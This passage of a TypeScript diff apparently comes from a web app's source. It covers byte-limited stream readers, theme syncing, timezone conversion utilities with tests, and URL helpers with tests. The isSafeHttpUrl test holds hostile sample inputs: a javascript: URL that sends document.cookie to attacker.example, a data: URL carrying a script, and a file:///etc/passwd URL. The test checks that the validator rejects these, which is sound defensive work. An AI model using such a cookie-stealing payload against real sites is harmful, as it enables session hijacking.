|
||||
|
||||
const { done, value } = await reader.read()
|
||||
if (options.signal?.aborted) {
|
||||
throw toError(options.signal.reason ?? new Error('Aborted'))
|
||||
}
|
||||
if (done) break
|
||||
if (!value) continue
|
||||
|
||||
totalBytes += value.byteLength
|
||||
if (totalBytes > options.maxBytes) {
|
||||
await reader.cancel().catch(() => {})
|
||||
throw new PayloadSizeLimitError({
|
||||
label: options.label,
|
||||
maxBytes: options.maxBytes,
|
||||
observedBytes: totalBytes,
|
||||
})
|
||||
}
|
||||
|
||||
await options.onChunk?.(value, totalBytes)
|
||||
chunks.push(Buffer.from(value))
|
||||
}
|
||||
} finally {
|
||||
options.signal?.removeEventListener('abort', abortFromSignal)
|
||||
reader.releaseLock()
|
||||
}
|
||||
|
||||
return Buffer.concat(chunks, totalBytes)
|
||||
}
|
||||
|
||||
export async function readNodeStreamToBufferWithLimit(
|
||||
stream: NodeJS.ReadableStream | null | undefined,
|
||||
options: ReadStreamWithLimitOptions
|
||||
): Promise<Buffer> {
|
||||
if (!stream) return Buffer.alloc(0)
|
||||
|
||||
return new Promise((resolve, reject) => {
|
||||
const chunks: Buffer[] = []
|
||||
let totalBytes = 0
|
||||
let settled = false
|
||||
|
||||
const finish = (callback: () => void) => {
|
||||
if (settled) return
|
||||
settled = true
|
||||
cleanup()
|
||||
callback()
|
||||
}
|
||||
|
||||
const cleanup = () => {
|
||||
stream.off('data', onData)
|
||||
stream.off('end', onEnd)
|
||||
stream.off('error', onError)
|
||||
options.signal?.removeEventListener('abort', onAbort)
|
||||
}
|
||||
|
||||
const onAbort = () => {
|
||||
if ('destroy' in stream && typeof stream.destroy === 'function') {
|
||||
stream.destroy(toError(options.signal?.reason ?? new Error('Aborted')))
|
||||
}
|
||||
finish(() => reject(toError(options.signal?.reason ?? new Error('Aborted'))))
|
||||
}
|
||||
|
||||
const onData = (chunk: Buffer | Uint8Array | string) => {
|
||||
const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
|
||||
totalBytes += buffer.byteLength
|
||||
|
||||
if (totalBytes > options.maxBytes) {
|
||||
if ('destroy' in stream && typeof stream.destroy === 'function') {
|
||||
stream.destroy()
|
||||
}
|
||||
finish(() =>
|
||||
reject(
|
||||
new PayloadSizeLimitError({
|
||||
label: options.label,
|
||||
maxBytes: options.maxBytes,
|
||||
observedBytes: totalBytes,
|
||||
})
|
||||
)
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
void options.onChunk?.(buffer, totalBytes)
|
||||
chunks.push(buffer)
|
||||
}
|
||||
|
||||
const onEnd = () => {
|
||||
finish(() => resolve(Buffer.concat(chunks, totalBytes)))
|
||||
}
|
||||
|
||||
const onError = (error: unknown) => {
|
||||
finish(() => reject(error))
|
||||
}
|
||||
|
||||
if (options.signal?.aborted) {
|
||||
onAbort()
|
||||
return
|
||||
}
|
||||
|
||||
options.signal?.addEventListener('abort', onAbort, { once: true })
|
||||
stream.on('data', onData)
|
||||
stream.on('end', onEnd)
|
||||
stream.on('error', onError)
|
||||
})
|
||||
}
|
||||
|
||||
export interface ReadResponseWithLimitOptions extends ReadStreamWithLimitOptions {
|
||||
headers?: { get(name: string): string | null }
|
||||
preferTextFallback?: boolean
|
||||
allowNoBodyFallback?: boolean
|
||||
}
|
||||
|
||||
export async function readResponseToBufferWithLimit(
|
||||
response: {
|
||||
headers?: { get(name: string): string | null }
|
||||
body?: ReadableStream<Uint8Array> | null
|
||||
arrayBuffer?: () => Promise<ArrayBuffer>
|
||||
text?: () => Promise<string>
|
||||
},
|
||||
options: ReadResponseWithLimitOptions
|
||||
): Promise<Buffer> {
|
||||
const contentLength = getContentLength(response.headers ?? options.headers)
|
||||
try {
|
||||
if (contentLength !== null) {
|
||||
assertKnownSizeWithinLimit(contentLength, options.maxBytes, options.label)
|
||||
}
|
||||
} catch (error) {
|
||||
if (isPayloadSizeLimitError(error)) {
|
||||
await response.body?.cancel(error).catch(() => {})
|
||||
}
|
||||
throw error
|
||||
}
|
||||
if (
|
||||
!options.allowNoBodyFallback &&
|
||||
!response.body &&
|
||||
contentLength === null &&
|
||||
(response.arrayBuffer || response.text)
|
||||
) {
|
||||
throw new PayloadSizeLimitError({
|
||||
label: options.label,
|
||||
maxBytes: options.maxBytes,
|
||||
})
|
||||
}
|
||||
if (!response.body && options.preferTextFallback && response.text) {
|
||||
const text = await response.text()
|
||||
const buffer = Buffer.from(text)
|
||||
assertKnownSizeWithinLimit(buffer.byteLength, options.maxBytes, options.label)
|
||||
return buffer
|
||||
}
|
||||
if (!response.body && response.arrayBuffer) {
|
||||
const buffer = Buffer.from(await response.arrayBuffer())
|
||||
assertKnownSizeWithinLimit(buffer.byteLength, options.maxBytes, options.label)
|
||||
if (buffer.byteLength > 0 || !response.text) {
|
||||
return buffer
|
||||
}
|
||||
const text = await response.text()
|
||||
const textBuffer = Buffer.from(text)
|
||||
assertKnownSizeWithinLimit(textBuffer.byteLength, options.maxBytes, options.label)
|
||||
return textBuffer
|
||||
}
|
||||
if (!response.body && response.text) {
|
||||
const text = await response.text()
|
||||
const buffer = Buffer.from(text)
|
||||
assertKnownSizeWithinLimit(buffer.byteLength, options.maxBytes, options.label)
|
||||
return buffer
|
||||
}
|
||||
return readStreamToBufferWithLimit(response.body, options)
|
||||
}
|
||||
|
||||
export async function readResponseTextWithLimit(
|
||||
response: {
|
||||
headers?: { get(name: string): string | null }
|
||||
body?: ReadableStream<Uint8Array> | null
|
||||
arrayBuffer?: () => Promise<ArrayBuffer>
|
||||
text?: () => Promise<string>
|
||||
},
|
||||
options: ReadResponseWithLimitOptions
|
||||
): Promise<string> {
|
||||
return (
|
||||
await readResponseToBufferWithLimit(response, { ...options, preferTextFallback: true })
|
||||
).toString('utf-8')
|
||||
}
|
||||
|
||||
export async function readResponseJsonWithLimit<T = unknown>(
|
||||
response: {
|
||||
headers?: { get(name: string): string | null }
|
||||
body?: ReadableStream<Uint8Array> | null
|
||||
},
|
||||
options: ReadResponseWithLimitOptions
|
||||
): Promise<T> {
|
||||
return JSON.parse(await readResponseTextWithLimit(response, options)) as T
|
||||
}
|
||||
|
||||
export async function readFileToBufferWithLimit(
|
||||
file: File,
|
||||
options: { maxBytes: number; label: string }
|
||||
): Promise<Buffer> {
|
||||
assertKnownSizeWithinLimit(file.size, options.maxBytes, options.label)
|
||||
const buffer = Buffer.from(await file.arrayBuffer())
|
||||
assertKnownSizeWithinLimit(buffer.byteLength, options.maxBytes, options.label)
|
||||
return buffer
|
||||
}
|
||||
|
||||
export async function consumeOrCancelBody(
|
||||
response: { body?: ReadableStream<Uint8Array> | null },
|
||||
maxBytes = DEFAULT_MAX_ERROR_BODY_BYTES
|
||||
): Promise<void> {
|
||||
if (!response.body) return
|
||||
|
||||
try {
|
||||
await readStreamToBufferWithLimit(response.body, {
|
||||
maxBytes,
|
||||
label: 'response body',
|
||||
})
|
||||
} catch {
|
||||
await response.body.cancel().catch(() => {})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
/**
|
||||
* Theme synchronization utilities for managing theme across next-themes and database
|
||||
*/
|
||||
|
||||
/**
|
||||
* Updates the theme in next-themes by dispatching a storage event.
|
||||
* This works by updating localStorage and notifying next-themes of the change.
|
||||
* @param theme - The desired theme ('system', 'light', or 'dark')
|
||||
*/
|
||||
export function syncThemeToNextThemes(theme: 'system' | 'light' | 'dark') {
|
||||
if (typeof window === 'undefined') return
|
||||
|
||||
const oldValue = localStorage.getItem('sim-theme')
|
||||
localStorage.setItem('sim-theme', theme)
|
||||
|
||||
window.dispatchEvent(
|
||||
new StorageEvent('storage', {
|
||||
key: 'sim-theme',
|
||||
newValue: theme,
|
||||
oldValue: oldValue,
|
||||
storageArea: localStorage,
|
||||
url: window.location.href,
|
||||
})
|
||||
)
|
||||
|
||||
const root = document.documentElement
|
||||
root.classList.remove('light', 'dark')
|
||||
|
||||
if (theme === 'system') {
|
||||
const systemTheme = window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'
|
||||
root.classList.add(systemTheme)
|
||||
} else {
|
||||
root.classList.add(theme)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the current theme from next-themes localStorage
|
||||
*/
|
||||
export function getThemeFromNextThemes(): 'system' | 'light' | 'dark' {
|
||||
if (typeof window === 'undefined') return 'system'
|
||||
return (localStorage.getItem('sim-theme') as 'system' | 'light' | 'dark') || 'system'
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import {
|
||||
getSupportedTimezones,
|
||||
getTimezoneOptions,
|
||||
wallClockNow,
|
||||
zonedClockDate,
|
||||
zonedWallClockToUtc,
|
||||
} from './timezone'
|
||||
|
||||
describe('zonedWallClockToUtc', () => {
|
||||
it('treats a UTC wall-clock as the same instant', () => {
|
||||
expect(zonedWallClockToUtc('2026-06-15T09:00', 'UTC').toISOString()).toBe(
|
||||
'2026-06-15T09:00:00.000Z'
|
||||
)
|
||||
})
|
||||
|
||||
it('applies a positive (east-of-UTC) offset (Asia/Kolkata, UTC+5:30)', () => {
|
||||
expect(zonedWallClockToUtc('2026-06-15T09:00', 'Asia/Kolkata').toISOString()).toBe(
|
||||
'2026-06-15T03:30:00.000Z'
|
||||
)
|
||||
})
|
||||
|
||||
it('honors DST: America/New_York is UTC-4 in summer, UTC-5 in winter', () => {
|
||||
expect(zonedWallClockToUtc('2026-06-15T09:00', 'America/New_York').toISOString()).toBe(
|
||||
'2026-06-15T13:00:00.000Z'
|
||||
)
|
||||
expect(zonedWallClockToUtc('2026-01-15T09:00', 'America/New_York').toISOString()).toBe(
|
||||
'2026-01-15T14:00:00.000Z'
|
||||
)
|
||||
})
|
||||
|
||||
it('preserves seconds when present', () => {
|
||||
expect(zonedWallClockToUtc('2026-07-01T23:59:59', 'UTC').toISOString()).toBe(
|
||||
'2026-07-01T23:59:59.000Z'
|
||||
)
|
||||
})
|
||||
|
||||
it('resolves a wall-clock on the autumn DST fall-back day at the correct offset', () => {
|
||||
// America/New_York falls back EDT(-4)→EST(-5) at 2026-11-01 06:00Z. A naive
|
||||
// single-pass offset read lands these an hour early; the two-pass resolve
|
||||
// settles on EST (-5) for these post-transition wall clocks.
|
||||
expect(zonedWallClockToUtc('2026-11-01T02:00', 'America/New_York').toISOString()).toBe(
|
||||
'2026-11-01T07:00:00.000Z'
|
||||
)
|
||||
expect(zonedWallClockToUtc('2026-11-01T05:00', 'America/New_York').toISOString()).toBe(
|
||||
'2026-11-01T10:00:00.000Z'
|
||||
)
|
||||
})
|
||||
|
||||
it('resolves a spring-forward gap wall-clock forward by the DST shift', () => {
|
||||
// 2026-03-08 02:00–02:59 does not exist in America/New_York (EST→EDT).
|
||||
expect(zonedWallClockToUtc('2026-03-08T02:30', 'America/New_York').toISOString()).toBe(
|
||||
'2026-03-08T07:30:00.000Z'
|
||||
)
|
||||
})
|
||||
})
|
||||
|
||||
describe('wallClockNow', () => {
|
||||
it('returns a naive yyyy-MM-ddTHH:mm string', () => {
|
||||
expect(wallClockNow('UTC')).toMatch(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}$/)
|
||||
})
|
||||
})
|
||||
|
||||
describe('getSupportedTimezones', () => {
|
||||
it('always returns a non-empty list including UTC', () => {
|
||||
const zones = getSupportedTimezones()
|
||||
expect(zones.length).toBeGreaterThan(0)
|
||||
expect(zones).toContain('UTC')
|
||||
})
|
||||
})
|
||||
|
||||
describe('getTimezoneOptions', () => {
|
||||
it('renders every zone as "City (GMT±HH:MM)"', () => {
|
||||
const options = getTimezoneOptions()
|
||||
expect(options.length).toBeGreaterThan(0)
|
||||
for (const option of options) {
|
||||
expect(option.label).toMatch(/^.+ \(GMT[+-]\d{2}:\d{2}\)$/)
|
||||
}
|
||||
})
|
||||
|
||||
it('orders zones alphabetically by city', () => {
|
||||
const cities = getTimezoneOptions().map((option) =>
|
||||
option.label.replace(/ \(GMT[+-]\d{2}:\d{2}\)$/, '')
|
||||
)
|
||||
expect(cities).toEqual([...cities].sort((a, b) => a.localeCompare(b)))
|
||||
})
|
||||
|
||||
it('uses a live DST-aware offset and a friendly city', () => {
|
||||
const options = getTimezoneOptions()
|
||||
expect(options.find((o) => o.value === 'UTC')?.label).toBe('UTC (GMT+00:00)')
|
||||
// India has no DST, so this offset is stable regardless of when the test runs.
|
||||
expect(
|
||||
options.find((o) => o.value === 'Asia/Kolkata' || o.value === 'Asia/Calcutta')?.label
|
||||
).toMatch(/^(Kolkata|Calcutta) \(GMT\+05:30\)$/)
|
||||
})
|
||||
|
||||
it('has no duplicate values', () => {
|
||||
const values = getTimezoneOptions().map((o) => o.value)
|
||||
expect(new Set(values).size).toBe(values.length)
|
||||
})
|
||||
})
|
||||
|
||||
describe('zonedClockDate', () => {
|
||||
const instant = new Date('2026-06-15T13:00:00.000Z')
|
||||
|
||||
it('exposes the zone wall-clock through device-local fields', () => {
|
||||
const ny = zonedClockDate(instant, 'America/New_York')
|
||||
expect(ny.getHours()).toBe(9)
|
||||
expect(ny.getMinutes()).toBe(0)
|
||||
expect(ny.getDate()).toBe(15)
|
||||
})
|
||||
|
||||
it('rolls the date when the zone is on the other side of midnight', () => {
|
||||
const tokyo = zonedClockDate(instant, 'Asia/Tokyo')
|
||||
expect(tokyo.getDate()).toBe(15)
|
||||
expect(tokyo.getHours()).toBe(22)
|
||||
|
||||
const earlyUtc = new Date('2026-06-15T01:00:00.000Z')
|
||||
const la = zonedClockDate(earlyUtc, 'America/Los_Angeles')
|
||||
expect(la.getDate()).toBe(14)
|
||||
expect(la.getHours()).toBe(18)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,173 @@
|
||||
/**
|
||||
* A curated fallback for runtimes without `Intl.supportedValuesOf` (e.g. Safari
|
||||
* < 15.4), so the timezone picker is never an empty dead-end.
|
||||
*/
|
||||
const COMMON_TIMEZONES = [
|
||||
'UTC',
|
||||
'America/New_York',
|
||||
'America/Chicago',
|
||||
'America/Denver',
|
||||
'America/Los_Angeles',
|
||||
'America/Sao_Paulo',
|
||||
'Europe/London',
|
||||
'Europe/Paris',
|
||||
'Europe/Berlin',
|
||||
'Europe/Moscow',
|
||||
'Asia/Dubai',
|
||||
'Asia/Kolkata',
|
||||
'Asia/Singapore',
|
||||
'Asia/Shanghai',
|
||||
'Asia/Tokyo',
|
||||
'Australia/Sydney',
|
||||
]
|
||||
|
||||
/** The IANA timezone the current runtime resolves to (e.g. `America/New_York`). */
|
||||
export function getBrowserTimezone(): string {
|
||||
return Intl.DateTimeFormat().resolvedOptions().timeZone
|
||||
}
|
||||
|
||||
/**
|
||||
* Every IANA timezone identifier the runtime knows, for populating a picker;
|
||||
* falls back to a curated common set on runtimes without `Intl.supportedValuesOf`.
|
||||
*/
|
||||
export function getSupportedTimezones(): string[] {
|
||||
const zones =
|
||||
typeof Intl.supportedValuesOf === 'function'
|
||||
? Intl.supportedValuesOf('timeZone')
|
||||
: COMMON_TIMEZONES
|
||||
return zones.includes('UTC') ? zones : ['UTC', ...zones]
|
||||
}
|
||||
|
||||
/** A timezone choice for a picker: the canonical IANA value plus a display label. */
|
||||
export interface TimezoneOption {
|
||||
value: string
|
||||
label: string
|
||||
}
|
||||
|
||||
/** The city/locale portion of an IANA id, formatted for display (e.g. `Los Angeles`). */
|
||||
function timezoneCity(timeZone: string): string {
|
||||
return (timeZone.split('/').pop() ?? timeZone).replace(/_/g, ' ')
|
||||
}
|
||||
|
||||
/** `GMT±HH:MM` for an offset expressed in minutes east of UTC (e.g. `GMT-08:00`). */
|
||||
function formatGmtOffset(offsetMinutes: number): string {
|
||||
const sign = offsetMinutes >= 0 ? '+' : '-'
|
||||
const absMinutes = Math.abs(offsetMinutes)
|
||||
const hours = String(Math.floor(absMinutes / 60)).padStart(2, '0')
|
||||
const minutes = String(absMinutes % 60).padStart(2, '0')
|
||||
return `GMT${sign}${hours}:${minutes}`
|
||||
}
|
||||
|
||||
/**
|
||||
* Timezone options for a picker. Each zone reads as `City (GMT±HH:MM)` — city
|
||||
* first, offset for reference — and the list is sorted alphabetically by city,
|
||||
* the order usability research (NN/g, Smart Interface Design Patterns) found
|
||||
* users expect; offset-sorting confuses people who don't know their offset. The
|
||||
* offset is computed live, so it tracks DST automatically. Pair this with the
|
||||
* picker's search and a browser-detected default. Values stay canonical IANA
|
||||
* ids — what we persist.
|
||||
*/
|
||||
export function getTimezoneOptions(): TimezoneOption[] {
|
||||
const now = new Date()
|
||||
return getSupportedTimezones()
|
||||
.map((value) => ({
|
||||
value,
|
||||
city: timezoneCity(value),
|
||||
offsetMinutes: Math.round(timezoneOffsetMs(now, value) / 60_000),
|
||||
}))
|
||||
.sort((a, b) => a.city.localeCompare(b.city))
|
||||
.map(({ value, city, offsetMinutes }) => ({
|
||||
value,
|
||||
label: `${city} (${formatGmtOffset(offsetMinutes)})`,
|
||||
}))
|
||||
}
|
||||
|
||||
/**
|
||||
* An instant's wall-clock time in `timeZone` as a naive `yyyy-MM-ddTHH:mm`
|
||||
* string. Lets callers reason about a user's local date/time without UTC — e.g.
|
||||
* to recover the local date/time a stored task instant represents in its zone.
|
||||
*/
|
||||
export function zonedWallClock(instant: Date, timeZone: string): string {
|
||||
const parts = new Intl.DateTimeFormat('en-CA', {
|
||||
timeZone,
|
||||
year: 'numeric',
|
||||
month: '2-digit',
|
||||
day: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
hourCycle: 'h23',
|
||||
}).formatToParts(instant)
|
||||
const get = (type: string) => parts.find((p) => p.type === type)?.value ?? '00'
|
||||
return `${get('year')}-${get('month')}-${get('day')}T${get('hour')}:${get('minute')}`
|
||||
}
|
||||
|
||||
/** The current wall-clock time in `timeZone` as a naive `yyyy-MM-ddTHH:mm` string. */
|
||||
export function wallClockNow(timeZone: string): string {
|
||||
return zonedWallClock(new Date(), timeZone)
|
||||
}
|
||||
|
||||
/**
|
||||
* A `Date` whose device-local fields (year…minute) equal the wall-clock time of
|
||||
* `instant` in `timeZone`. It deliberately does NOT represent the same instant —
|
||||
* it is a positioning coordinate that lets naive-local layout code (the calendar
|
||||
* grid, {@link zonedWallClock}-free pixel offsets) render in `timeZone` without
|
||||
* itself being timezone-aware. Never read its `getTime()` as a real timestamp;
|
||||
* the true instant always lives alongside it (e.g. a task's `runAt`).
|
||||
*/
|
||||
export function zonedClockDate(instant: Date, timeZone: string): Date {
|
||||
const [datePart, timePart] = zonedWallClock(instant, timeZone).split('T')
|
||||
const [year, month, day] = datePart.split('-').map(Number)
|
||||
const [hour, minute] = timePart.split(':').map(Number)
|
||||
return new Date(year, month - 1, day, hour, minute)
|
||||
}
|
||||
|
||||
/** The UTC offset (ms, east-positive) of `timeZone` at a given instant. */
|
||||
function timezoneOffsetMs(instant: Date, timeZone: string): number {
|
||||
const parts = new Intl.DateTimeFormat('en-US', {
|
||||
timeZone,
|
||||
hourCycle: 'h23',
|
||||
year: 'numeric',
|
||||
month: '2-digit',
|
||||
day: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
}).formatToParts(instant)
|
||||
const get = (type: string) => Number(parts.find((p) => p.type === type)?.value)
|
||||
const asUtc = Date.UTC(
|
||||
get('year'),
|
||||
get('month') - 1,
|
||||
get('day'),
|
||||
get('hour'),
|
||||
get('minute'),
|
||||
get('second')
|
||||
)
|
||||
return asUtc - instant.getTime()
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolves a naive `yyyy-MM-ddTHH:mm[:ss]` wall-clock — interpreted as local
|
||||
* time in `timeZone` — to the exact UTC instant. It resolves to the instant
|
||||
* whose own offset reproduces the requested wall-clock, which is correct for any
|
||||
* date (including future ones whose offset differs from today's) and across DST:
|
||||
* a naive single pass reads the offset on the wrong side of a same-day boundary
|
||||
* — notably the autumn fall-back hour — and lands an hour off. For an ambiguous
|
||||
* fall-back wall-clock the later (post-transition) instant is chosen; a
|
||||
* wall-clock in the spring-forward gap (a nonexistent local hour) has no
|
||||
* self-consistent instant and resolves forward by the DST shift, matching how
|
||||
* calendar apps treat that once-a-year hour.
|
||||
*/
|
||||
export function zonedWallClockToUtc(wallClock: string, timeZone: string): Date {
|
||||
const [datePart, timePart] = wallClock.split('T')
|
||||
const [year, month, day] = datePart.split('-').map(Number)
|
||||
const [hour, minute, second = 0] = timePart.split(':').map(Number)
|
||||
const utcGuess = Date.UTC(year, month - 1, day, hour, minute, second)
|
||||
const guessOffset = timezoneOffsetMs(new Date(utcGuess), timeZone)
|
||||
const candidate = utcGuess - guessOffset
|
||||
const candidateOffset = timezoneOffsetMs(new Date(candidate), timeZone)
|
||||
if (candidateOffset === guessOffset) return new Date(candidate)
|
||||
const adjusted = utcGuess - candidateOffset
|
||||
return timezoneOffsetMs(new Date(adjusted), timeZone) === candidateOffset
|
||||
? new Date(adjusted)
|
||||
: new Date(candidate)
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
/**
|
||||
* @vitest-environment jsdom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
const { mockGetEnv } = vi.hoisted(() => ({
|
||||
mockGetEnv: vi.fn<(key: string) => string | undefined>(),
|
||||
}))
|
||||
|
||||
vi.mock('@/lib/core/config/env', () => ({
|
||||
env: {},
|
||||
getEnv: mockGetEnv,
|
||||
}))
|
||||
|
||||
vi.mock('@/lib/core/config/env-flags', () => ({
|
||||
isProd: false,
|
||||
}))
|
||||
|
||||
import {
|
||||
getBrowserOrigin,
|
||||
getSocketUrl,
|
||||
isLocalhostUrl,
|
||||
isSafeHttpUrl,
|
||||
parseOriginList,
|
||||
} from '@/lib/core/utils/urls'
|
||||
|
||||
function setLocation(url: string) {
|
||||
Object.defineProperty(window, 'location', {
|
||||
value: new URL(url),
|
||||
writable: true,
|
||||
configurable: true,
|
||||
})
|
||||
}
|
||||
|
||||
describe('getBrowserOrigin', () => {
|
||||
it('returns the page origin in the browser', () => {
|
||||
setLocation('https://example.com/some/path')
|
||||
expect(getBrowserOrigin()).toBe('https://example.com')
|
||||
})
|
||||
})
|
||||
|
||||
describe('getSocketUrl', () => {
|
||||
beforeEach(() => {
|
||||
mockGetEnv.mockReset()
|
||||
mockGetEnv.mockReturnValue(undefined)
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks()
|
||||
})
|
||||
|
||||
it('uses NEXT_PUBLIC_SOCKET_URL when explicitly set', () => {
|
||||
mockGetEnv.mockImplementation((key) =>
|
||||
key === 'NEXT_PUBLIC_SOCKET_URL' ? 'https://socket.example.com' : undefined
|
||||
)
|
||||
setLocation('https://app.example.com/')
|
||||
expect(getSocketUrl()).toBe('https://socket.example.com')
|
||||
})
|
||||
|
||||
it('returns the page origin when served from a non-localhost host', () => {
|
||||
setLocation('https://10.0.3.36/signup')
|
||||
expect(getSocketUrl()).toBe('https://10.0.3.36')
|
||||
})
|
||||
|
||||
it('falls back to localhost:3002 when served from localhost', () => {
|
||||
setLocation('http://localhost:3000/')
|
||||
expect(getSocketUrl()).toBe('http://localhost:3002')
|
||||
})
|
||||
|
||||
it('falls back to localhost:3002 when served from 127.0.0.1', () => {
|
||||
setLocation('http://127.0.0.1:3000/')
|
||||
expect(getSocketUrl()).toBe('http://localhost:3002')
|
||||
})
|
||||
|
||||
it('explicit env var wins over the localhost fallback', () => {
|
||||
mockGetEnv.mockImplementation((key) =>
|
||||
key === 'NEXT_PUBLIC_SOCKET_URL' ? 'http://realtime.local:3002' : undefined
|
||||
)
|
||||
setLocation('http://localhost:3000/')
|
||||
expect(getSocketUrl()).toBe('http://realtime.local:3002')
|
||||
})
|
||||
|
||||
it('treats whitespace-only env var as unset', () => {
|
||||
mockGetEnv.mockImplementation((key) => (key === 'NEXT_PUBLIC_SOCKET_URL' ? ' ' : undefined))
|
||||
setLocation('https://app.example.com/')
|
||||
expect(getSocketUrl()).toBe('https://app.example.com')
|
||||
})
|
||||
})
|
||||
|
||||
describe('parseOriginList', () => {
|
||||
it('returns an empty array for undefined, null, or empty input', () => {
|
||||
expect(parseOriginList(undefined)).toEqual([])
|
||||
expect(parseOriginList(null)).toEqual([])
|
||||
expect(parseOriginList('')).toEqual([])
|
||||
expect(parseOriginList(' ')).toEqual([])
|
||||
})
|
||||
|
||||
it('parses comma-separated origins and normalizes them', () => {
|
||||
expect(parseOriginList('https://a.example.com, https://b.example.com/path')).toEqual([
|
||||
'https://a.example.com',
|
||||
'https://b.example.com',
|
||||
])
|
||||
})
|
||||
|
||||
it('dedupes equal origins after normalization', () => {
|
||||
expect(
|
||||
parseOriginList('https://a.example.com,https://a.example.com/foo,https://a.example.com')
|
||||
).toEqual(['https://a.example.com'])
|
||||
})
|
||||
|
||||
it('drops invalid entries and reports them via the callback', () => {
|
||||
const invalid: string[] = []
|
||||
const result = parseOriginList('https://ok.example.com, not-a-url, ', (v) => invalid.push(v))
|
||||
expect(result).toEqual(['https://ok.example.com'])
|
||||
expect(invalid).toEqual(['not-a-url'])
|
||||
})
|
||||
|
||||
it('preserves non-default ports in the origin', () => {
|
||||
expect(parseOriginList('http://10.0.3.36:8080')).toEqual(['http://10.0.3.36:8080'])
|
||||
})
|
||||
})
|
||||
|
||||
describe('isLocalhostUrl', () => {
|
||||
it('matches localhost variants', () => {
|
||||
expect(isLocalhostUrl('http://localhost:3000')).toBe(true)
|
||||
expect(isLocalhostUrl('http://127.0.0.1')).toBe(true)
|
||||
expect(isLocalhostUrl('https://localhost')).toBe(true)
|
||||
})
|
||||
|
||||
it('does not match public hostnames or invalid URLs', () => {
|
||||
expect(isLocalhostUrl('https://10.0.3.36')).toBe(false)
|
||||
expect(isLocalhostUrl('https://app.example.com')).toBe(false)
|
||||
expect(isLocalhostUrl('not-a-url')).toBe(false)
|
||||
expect(isLocalhostUrl('')).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('isSafeHttpUrl', () => {
|
||||
it('allows absolute http(s) URLs', () => {
|
||||
expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
|
||||
expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
|
||||
})
|
||||
|
||||
it('allows same-origin relative URLs (resolved against the browser origin)', () => {
|
||||
expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
|
||||
})
|
||||
|
||||
it('rejects javascript: URLs', () => {
|
||||
expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
|
||||
expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects other script-capable or non-navigable schemes', () => {
|
||||
expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
|
||||
expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
|
||||
expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
|
||||
expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
|
||||
})
|
||||
|
||||
it('treats relative junk as same-origin http (safe) rather than throwing', () => {
|
||||
expect(isSafeHttpUrl('')).toBe(true)
|
||||
expect(isSafeHttpUrl('not a url')).toBe(true)
|
||||
})
|
||||
|
||||
it('rejects unparseable absolute input without throwing', () => {
|
||||
expect(isSafeHttpUrl('http://')).toBe(false)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,224 @@
|
||||
import { env, getEnv } from '@/lib/core/config/env'
|
||||
import { isProd } from '@/lib/core/config/env-flags'
|
||||
|
||||
/** Canonical base URL for the public-facing marketing site. No trailing slash. */
|
||||
export const SITE_URL = 'https://www.sim.ai'
|
||||
|
||||
function hasHttpProtocol(url: string): boolean {
|
||||
return /^https?:\/\//i.test(url)
|
||||
}
|
||||
|
||||
function normalizeBaseUrl(url: string): string {
|
||||
if (hasHttpProtocol(url)) {
|
||||
return url
|
||||
}
|
||||
|
||||
const protocol = isProd ? 'https://' : 'http://'
|
||||
return `${protocol}${url}`
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the base URL of the application from NEXT_PUBLIC_APP_URL
|
||||
* This ensures webhooks, callbacks, and other integrations always use the correct public URL
|
||||
* @returns The base URL string (e.g., 'http://localhost:3000' or 'https://example.com')
|
||||
* @throws Error if NEXT_PUBLIC_APP_URL is not configured
|
||||
*/
|
||||
export function getBaseUrl(): string {
|
||||
const baseUrl = getEnv('NEXT_PUBLIC_APP_URL')?.trim()
|
||||
|
||||
if (!baseUrl) {
|
||||
throw new Error(
|
||||
'NEXT_PUBLIC_APP_URL must be configured for webhooks and callbacks to work correctly'
|
||||
)
|
||||
}
|
||||
|
||||
return normalizeBaseUrl(baseUrl)
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the base URL used by server-side internal API calls.
|
||||
* Falls back to NEXT_PUBLIC_APP_URL when INTERNAL_API_BASE_URL is not set.
|
||||
*/
|
||||
export function getInternalApiBaseUrl(): string {
|
||||
const internalBaseUrl = getEnv('INTERNAL_API_BASE_URL')?.trim()
|
||||
if (!internalBaseUrl) {
|
||||
return getBaseUrl()
|
||||
}
|
||||
|
||||
if (!hasHttpProtocol(internalBaseUrl)) {
|
||||
throw new Error(
|
||||
'INTERNAL_API_BASE_URL must include protocol (http:// or https://), e.g. http://sim-app.default.svc.cluster.local:3000'
|
||||
)
|
||||
}
|
||||
|
||||
return internalBaseUrl
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensures a URL is absolute by prefixing the base URL when a relative path is provided.
|
||||
* @param pathOrUrl - Relative path (e.g., /api/files/serve/...) or absolute URL
|
||||
*/
|
||||
export function ensureAbsoluteUrl(pathOrUrl: string): string {
|
||||
if (!pathOrUrl) {
|
||||
throw new Error('URL is required')
